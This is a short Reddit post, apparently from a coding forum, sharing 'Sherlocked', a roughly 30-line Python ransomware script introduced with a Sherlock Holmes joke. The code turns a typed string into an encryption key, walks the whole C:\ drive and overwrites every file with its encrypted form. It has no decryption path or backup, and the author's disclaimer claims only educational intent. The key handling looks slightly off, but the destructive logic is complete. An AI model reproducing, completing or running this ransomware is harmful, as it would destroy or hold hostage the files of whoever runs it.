Review Sherlocked – 30 lines of code that will ruin your day
In an unexpected twist of fate, the renowned detective Sherlock Holmes, has undertaken a remarkable career change to delve into the realm of cybersecurity. No longer confined to Victorian London, Holmes has embraced the digital age, exchanging his magnifying glass for a keyboard and his pipe for a mouse.
import os from typing import Text import hashlib from cryptography.fernet import Fernet class Sherlocked(): def __init__(self, string: Text): self.string_to_key = string def sha256_hash_string(self): sha256 = hashlib.sha256() sha256.update(self.string_to_key.encode('utf-8')) return sha256.digest() def encrypt_file(self, input_filename): cipher_suite = Fernet(self.sha256_hash_string()) with open(input_filename, "rb") as f: plaintext = f.read() encrypted_text = cipher_suite.encrypt(plaintext) with open(input_filename, "wb") as f: f.write(encrypted_text) def start(self): for root, dirs, files in os.walk("C:\\"): print(f"Found {len(files)} files, initiating encryption.") for file in files: file_path = os.path.join(root, file) print(f"Initiating encryption for: {file}") self.encrypt_file(file_path) print(f"Encryption success!") if __name__ == "__main__": string_to_key = input("Insert key here: ") ransomware = Sherlocked(string_to_key) ransomware.start()
Sherlocked accepts any string you choose , hashes it, then uses it as the key to encrypt (and then decrypt, hopefully) all the files on a PC.
This software was written for educational purposes only.
submitted by /u/dvnci1452
[link] [comments]